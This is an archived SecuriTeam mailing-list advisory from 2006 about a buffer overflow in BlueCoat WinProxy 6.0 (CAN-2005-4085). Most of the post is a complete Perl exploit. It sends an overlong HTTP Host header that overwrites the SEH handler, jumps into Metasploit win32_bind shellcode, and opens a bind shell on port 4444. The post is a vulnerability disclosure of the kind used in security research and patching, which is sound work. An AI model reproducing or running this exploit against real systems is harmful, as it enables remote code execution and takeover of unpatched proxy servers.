

[EXPL] BlueCoat WinProxy Buffer Overflow (Host header, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00030.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 8 Jan 2006 13:50:11 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

BlueCoat WinProxy Buffer Overflow (Host header, Exploit)

SUMMARY

<<http://www.winproxy.com/>> BlueCoat WinProxy is "an Internet sharing proxy server". Improper handling of long requests within BlueCoat WinProxy allows attackers to cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:

- * WinProxy version 6.0 and prior

Immune Systems:

- * WinProxy version 6.1a

Exploit:

```
#!/perl
#
# "WinProxy 6.0 R1c" Remote Stack/SEH Overflow Exploit
#
# Author: FistFucker (aka FistFuXXer)
# e-Mail: FistFuXXer at gmx.de
```

[EXPL] BlueCoat WinProxy Buffer Overflow (Host header, Exploit)

```
#
#
# Advisory:
# http://www.iddefense.com/intelligence/vulnerabilities/display.php?id=364
#
# CVE info:
# CAN-2005-4085
#

use IO::Socket;

#
# destination IP address
#
$ip = '127.0.0.1';

#
# destination TCP port
#
$port = 80;

#
# SE handler. 0x00, 0x0a, 0x0d free
#
$seh = reverse( "\x01\x03\x12\x40" ); # POP/POP/RET
# PAVDLL.01031240

#
# JMP SHORT to shellcode. 0x00, 0x0a, 0x0d free
#
$jmp = "\x90\x90\xeb\x32"; # [NOP][NOP][JMP|JMP]

#
# 0x00, 0x0a, 0x0d free shellcode
#
# win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub
http://metasploit.com
#
$sc = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26".
"\x8c\x6d\xa3\x83\xeb\xfc\xe2\xf4\xda\xe6\x86\xee\xce\x75\x92\x5c".
"\xd9\xec\xe6\xcf\x02\xa8\xe6\xe6\x1a\x07\x11\xa6\x5e\x8d\x82\x28".
"\x69\x94\xe6\xfc\x06\x8d\x86\xea\xad\xb8\xe6\xa2\xc8\xbd\xad\x3a".
"\x8a\x08\xad\xd7\x21\x4d\xa7\xae\x27\x4e\x86\x57\x1d\xd8\x49\x8b".
"\x53\x69\xe6\xfc\x02\x8d\x86\xc5\xad\x80\x26\x28\x79\x90\x6c\x48".
"\x25\xa0\xe6\x2a\x4a\xa8\x71\xc2\xe5\xbd\xb6\xc7\xad\xcf\x5d\x28".
"\x66\x80\xe6\xd3\x3a\x21\xe6\xe3\x2e\xd2\x05\x2d\x68\x82\x81\xf3".
"\xd9\x5a\x0b\xf0\x40\xe4\x5e\x91\x4e\xfb\x1e\x91\x79\xd8\x92\x73".
"\x4e\x47\x80\x5f\x1d\xdc\x92\x75\x79\x05\x88\xc5\xa7\x61\x65\xa1".
"\x73\xe6\x6f\x5c\xf6\xe4\xb4\xaa\xd3\x21\x3a\x5c\xf0\xdf\x3e\xf0".
"\x75\xdf\x2e\xf0\x65\xdf\x92\x73\x40\xe4\x7c\xff\x40\xdf\xe4\x42".
"\xb3\xe4\xc9\xb9\x56\x4b\x3a\x5c\xf0\xe6\x7d\xf2\x73\x73\xbd\xcb".
```

[EXPL] BlueCoat WinProxy Buffer Overflow (Host header, Exploit)

```
"\x82\x21\x43\x4a\x71\x73\xbb\xf0\x73\x73\xbd\xcb\xc3\xc5\xeb\xea".
"\x71\x73\xbb\xf3\x72\xd8\x38\x5c\xf6\x1f\x05\x44\x5f\x4a\x14\xf4".
"\xd9\x5a\x38\x5c\xf6\xea\x07\xc7\x40\xe4\x0e\xce\xaf\x69\x07\xf3".
"\x7f\xa5\xa1\x2a\xc1\xe6\x29\x2a\xc4\xbd\xad\x50\x8c\x72\x2f\x8e".
"\xd8\xce\x41\x30\xab\xf6\x55\x08\x8d\x27\x05\xd1\xd8\x3f\x7b\x5c".
"\x53\xc8\x92\x75\x7d\xdb\x3f\xf2\x77\xdd\x07\xa2\x77\xdd\x38\xf2".
"\xd9\x5c\x05\x0e\xff\x89\xa3\xf0\xd9\x5a\x07\x5c\xd9\xbb\x92\x73".
"\xad\xdb\x91\x20\xe2\xe8\x92\x75\x74\x73\xbd\xcb\x58\x54\x8f\xd0".
"\x75\x73\xbb\x5c\xf6\x8c\x6d\xa3";
```

```
print "'WinProxy 6.0 R1c' Remote Stack/SEH Overflow Exploit.'"'\n\n";
```

```
$sock = IO::Socket::INET->new
(
```

```
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
Timeout => 2
```

```
) or print '[-] Error: Could not establish a connection to the server!'
and exit(1);
```

```
print "[+] Connected.\n";
print "[+] Trying to overwrite SE handler...\n";
```

```
$sock->send( "GET / HTTP/1.0\r\n" );
$sock->send( "Host: 127.0.0.1:". "\x90" x 23 . $jmp . $seh . "\x90" x 50 .
$sc . "\r\n\r\n" );
```

```
print "[+] Done. Now check for bind shell on $ip:4444!";
```

```
close($sock);
```

```
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:FistFuXXer@xxxxxx>>
FistFucker.

```
=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxx
```

[EXPL] BlueCoat WinProxy Buffer Overflow (Host header, Exploit)

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [*\[EXPL\] BlueCoat WinProxy HTTP DoS \(Exploit\)*](#)
 - Next by Date: [*\[TOOL\] TCP/UDP Protocol Fuzzer \(CIRT.DK\)*](#)
 - Previous by thread: [*\[EXPL\] BlueCoat WinProxy HTTP DoS \(Exploit\)*](#)
 - Next by thread: [*\[TOOL\] TCP/UDP Protocol Fuzzer \(CIRT.DK\)*](#)
 - Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)